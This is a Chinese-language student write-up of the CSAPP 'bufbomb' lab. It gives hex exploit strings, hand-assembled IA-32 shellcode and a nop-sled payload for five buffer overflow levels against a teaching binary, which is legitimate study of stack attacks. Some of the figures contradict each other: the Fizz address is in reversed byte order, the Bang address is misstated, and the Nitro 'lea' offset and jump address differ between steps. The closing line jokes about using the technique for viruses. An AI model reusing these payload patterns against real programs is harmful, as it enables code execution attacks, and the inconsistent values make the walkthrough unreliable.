文章目录
- 前言:
- 零、实验准备
- 一、Smoke(level 0)
- 二、Fizz(level 1)
- 三、Bang(level 2)
- 四、Boom(level 3)
- 五、Nitro(level 4)
- 总结
前言:
本实验的目的在于加深对IA-32函数调用规则和栈结构的具体理解。实验的主要内容是对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击(buffer overflow attacks),也就是设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。本次实验需要你熟练运用gdb、objdump、gcc等工具完成。
实验中你需要对目标可执行程序BUFBOMB分别完成5个难度递增的缓冲区溢出攻击。5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke级最简单而Nitro级最困难。
提示:以下是本篇文章正文内容,下面案例可供参考
零、实验准备
将该压缩包解压后得到实验文件
bufbomb:将要攻击的缓冲区炸弹程序。
makecookie:根据您的用户名生成一个“ cookie”。
hex2raw:用于在字符串格式之间进行转换的程序。
首先./makecookie +userid得到自己的cookie
然后objdump反汇编得到bufbomb的汇编代码:
objdump -d bufbomb > bufbomb.txt
hex2raw用法:
- 你可以设置一系列管道来将字符串传递给HEX2RAW。
unix> cat exploit.txt | ./hex2raw | ./bufbomb -u bovik
- 你可以将原始字符串存储在一个文件中,并使用I/O重定向将其提供给BUFBOMB:
unix> ./hex2raw < exploit.txt > exploit-raw.txt
unix> ./bufbomb -u bovik < exploit-raw.txt
BUFBOMB程序从标准输入读取字符串。getbuf函数如下所示:
/* Buffer size for getbuf */
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
函数Gets类似于标准库函数gets-它从标准输入中读取字符串(以“ \ n”或文件结尾结尾)并将其(连同空终止符一起)存储在指定的目标位置。在此代码中,定义了一个32个字节空间的buf来存储字符。
重要要点:
** 你的利用字符串不能在任何中间位置包含字节值0x0A,因为这是换行符(’\n’)的ASCII代码。当Gets遇
到该字节时,它将假设你打算终止字符串。**
一、Smoke(level 0)
目标是运行完getbuf()函数后跳转至smoke函数,
因此我们需要查看smoke函数的位置:
08048e0a 再查看getbuf函数分配的给输入字符串的空间:
由反汇编结果可知,给输入的字符串分配的空间是从%ebp-0x28开始的,换为10进制就是40个字节,而返回地址是在%ebp+0x4处,push %ebp本身又占了四个字节,所以结构为:0x28+4+4=48个字节。并且其最后4个字节应是smoke函数的地址,正好覆盖ebp上方的正常返回地址。这样再从getbuf返回时,取出的根据攻击字符串设置的地址,就可实现控制转移。(结合栈帧的图理解)
由于0a是终止符,不能使用,所以经过尝试我们将其改为0b成功代替
08048e0a ->08048e0b
新建一个名为Level0.txt的文件,攻击代码如下所示:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /*填充44个字节*/
00 00 00 00 0b 8e 04 08 /*溢出刚好修改返回地址*/
执行以下命令测试
cat level0.txt | ./hex2raw | ./bufbomb -u hsx
成功截图如下:
二、Fizz(level 1)
Level1 和Level0差不多,唯一的区别是 fizz(int) 函数有一个整型的参数,并且在 fizz函数中还要校验cookie, test函数调用getbuf函数,调用完getbuf以后不返回getbuf的调用者test而是去执行fizz函数。
由fizz的反汇编可知:fizz函数的入口地址为0x08048daf。由栈帧图示可知,ebp存放了调用者的旧ebp(saved %ebp),其上一位置ebp+4存放了调用者的返回地址,所以参数的地址应该为ebp+8的位置,我们只需要将自己的cookie放置在该位置即可。
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
08 04 8d af
00 00 00 00
1c ef f2 a5
三、Bang(level 2)
在文件bufbomb中,有一个具有以下C代码的函数bang函数:
int global_value = 0;
void bang(int val)
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}
和之前的两个实验相似,我们的任务是执行完getbuf()后,不返回到test,而是执行bang代码,但是这个实验中我们还要修改global_value的值为cookie。先看下反汇编。
bang函数入口地址0x8048d52。由第5行可知,global_value存放的位置是0x804d10c。
由此写下汇编代码:首先把我们的cookie写到全局变量的地址中,然后在把bang的入口地址入栈,通过ret指令来执行bang函数
movl $0x1ceff2a5,0x804d10c #修改变量值
push $0x8048d52 #bang函数地址压栈
ret #利用ret语句完成对bang的调用
通过gcc -m32 -c bang.s进行汇编,再用objdump -d bang.o>bang.d 得到机器码
00000000 <.text>:
0: c7 05 0c d1 04 08 a5 movl $0x1ceff2a5,0x804d10c
7: f2 ef 1c
a: 68 52 8d 04 08 push $0x8048d52
f: c3 ret
得到机器码之后如何使用呢?这个机器码的作用是执行到它时,修改全局变量的值并进入bang函数,然而要怎么执行到这一步呢?考虑执行getbuf函数的时候,将其返回地址改为这个函数的地址,使得getbuf执行完毕后,继续执行这个函数,执行完这个函数就自动执行bang函数了。
我们写的这个函数的地址在哪里呢?
使用GDB调试,在getbuf函数设置断点,查询buf的首地址。在call gets函数前,eax寄存器的值就是buf的首地址,即我们写的函数的地址。
因此我们想要的返回地址应该是0x5568328:
故攻击代码为:
c7 05 0c d1 04 08 a5 f2
ef 1c 68 52 8d 04 08 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 d8 32 68 55
成功:
四、Boom(level 3)
在这个题目中,要求getbuf() 结束后正常返回执行(getbuf() 的下一行),并且将cookie作为getbuf的返回值传给test()。同时还要saved ebp被复原,保证占空间被还原,使test()察觉不到我们修改了程序。
getbuf()函数在被调用时,程序的返回值被存储在%eax寄存器中,当getbuf()执行完,就会去%eax取值返回执行。因此,要想返回cookie,我们只要修改eax的值就可以。
题目还要求恢复原来的%ebp,因此我们可以通过打断点的方式先记下调用getbuf()之前的epb值(0x55683330)。
movl $0x1ceff2a5,%eax
push $0x8048e50 # 压栈
ret
这里通过movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转到test()中call getbuf下一条指令正常返回,但是并不在这里处理ebp寄存器问题,而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。
而对于返回地址,这个很简单,就相当于上一题我们是跳转到bang函数,在这一题里,把执行完getbuf的下一句的地址压栈再ret,就完成了要求。
00000000 <.text>:
0: b8 a5 f2 ef 1c mov $0x1ceff2a5,%eax
5: 68 50 8e 04 08 push $0x8048e50
a: c3 ret
攻击代码如下:
b8 a5 f2 ef
1c 68 50 8e
04 08 c3 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
30 33 68 55
d8 32 68 55
五、Nitro(level 4)
请注意:在这个实验中需要使用“ -n”命令行标志才能运行此阶段。
对于不同程序或者是不同用户运行同一程序,每次堆栈位置会有所不同。这种变化的原因之一是,所有环境变量的值都放在程序开始执行时的栈底。环境变量存储为字符串,根据值的不同,需要不同的大量的存储空间。在GDB调试中,堆栈位置也会有差异,因为GDB将堆栈空间用于其自身的某些状态。
在调用getbuf的代码中,使用了某些手段(稳定因素),从而使两次运行之间,getbuf的堆栈框架将保持一致。这使得我们可以编写攻击代码。利用漏洞使得程序知道buf起始地址。如果尝试在其他普通程序上使用此类漏洞利用程序,会发现它有时会起作用,但有时会导致段错误。因此得名“炸药”----由阿尔弗雷德·诺贝尔开发的炸药,其中包含稳定剂以减少炸药容易发生意外爆炸。
在这个实验中,堆栈位置比其他程序的堆栈稳定程度更低。当使用命令行标志“ -n”运行BUFBOMB时,它将在“ Nitro”模式下运行。程序不会调用函数getbuf,程序会调用函数getbufn:
该函数类似于getbuf,不同之处在于它具有512个字符的缓冲区。我们将需要这个额外空间来创造攻击程序。调用getbufn的代码分配一个随机量堆栈上的存储空间,例如,如果在getbufn连续两次执行时采样%ebp的值,您会发现k它们相差±240。
此外,在Nitro模式下运行时,BUFBOMB要求您提供5次字符串,并且它将执行getbufn 5次,每次都有不同的堆栈偏移量。我们要用攻击字符串每次都返回cookie。
我们需要提供一个攻击程序,让getbufn返回到cookie到test中,而不是1。可以在test代码中看到这将导致程序运行“ KABOOM!”。我们的攻击代码代码应设置cookie作为返回值,恢复任何损坏的状态,将正确的返回位置压入堆栈,并执行ret指令以真正返回到testn。
在CSAPP P199中有nop sled一词,这次实验就用到了这个。书中的解释如下:
一种常见的把戏就是在实际的攻击代码前插入很长一段的nop(读作“noop”,no operatioin的缩写)指令。执行这种指令除了对程序计数器加一,使之指向下一条指令之外,没有任何的效果。只要攻击者能够猜中这段序列中的某个地址,程序就会经过这个序列,到达攻击代码。这个序列常用的术语是“空操作雪橇( nop sled)。
因为在这个实验中,栈的地址是变化的。我们不知道有效机器代码的入口地址了,因此我们需要在有效机器代码前填充大量的nop指令,只要程序可以跳转到这些nop指令中,那么最终就可以滑到有效的机器代码。
运行getbufn函数时,会随机在栈上分配一块存储地址,因此,getbufn的基址ebp时随机变化的。但是又要求我们写的跳转地址是固定的,所以我们应该在有效代码之前大量填充nop指令,让这段地址内的代码都会滑到这段nop之后的代码上。
由于栈上的机器代码是按地址由低向高顺序执行,要保证五次运行都能顺利执行有效机器代码,需要满足:跳转地址位于有效机器代码入口地址之前的nop机器指令填充区。这要求尽可能增大nop填充区,尽可能使有效机器代码段往后挪。
从反汇编可以看出,buf的首地址为ebp-0x208,所以buf总共的大小为520字节。考虑这个函数中,testn的ebp随每次输入都随机变化,但是栈顶esp的位置却不变,所以我们可以通过esp和ebp的关系来找出这个关系,从而进行攻击
首先在sub $0x218,esp这一句设置断点,并使用-n模式运行程序,并查看ebp的值。
我们要做的是找出最大的ebp值0x55683310,再减去0x208,即为最高的buf的始地址为:0x55683108。
如果将有效机器代码置于跳转地址之前,并将其它所有字符都用作nop指令,此时所有五个buf地址的写入都能满足跳转到地址0x556833D8后顺利到达有效机器代码.
可以看出,在testn中,esp+0x24+0x4是ebp的真值,而由于esp是不变的,所以可以通过esp+0x28来修改正确的ebp值,同时,可以看出得到getbufn的返回地址为0x8048ce2。
汇编代码如下:
movl $0x1ceff2a5,%eax
lea 0x28(%esp),%ebp
push $0x8048ce2
ret
机器码如下
00000000 <.text>:
0: b8 a5 f2 ef 1c mov $0x1ceff2a5,%eax
5: 8d 6c 24 24 lea 0x24(%esp),%ebp
9: 68 e2 8c 04 08 push $0x8048ce2
e: c3 ret
接下来准备构造攻击字符串,构造的方法:
考虑buf部分共有520+4(旧ebp)+4(返回地址)共528个字节,我们这个代码里要做的就是在这些范围内填入三部分:nop操作、攻击代码、和跳转地址。先考虑后面的部分,在原函数的返回地址处我们肯定要用buf的最大始地址代替,是最后4字节,然后紧跟着它之前的是我们的攻击代码,共15字节,剩下的528-4-15=509字节全用nop填满。
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90
b8 a5 f2 ef 1c 8d 6c 24 28 68
e2 8c 04 08 c3 08 31 68 55
最后执行,这里有一个问题是采用
cat level4.txt | ./hex2raw | ./bufbomb -n -u hsx
只能正确一次运行,
而采用cat level4.txt | ./hex2raw -n | ./bufbomb -n -u hsx 指令则全部正确
总结
这个实验还是比较有意思的,充分的帮助了我理解了计算机底层函数调用上的问题,(要是用来做病毒肯定很不错(bushi))让我们理解了计算机溢出攻击的基本方式,能够明白它的基本工作原理,同样的在网上找了很多资料,锻炼了大学生的资料收集能力(bushi
这里贴上参考链接
知乎参考原链接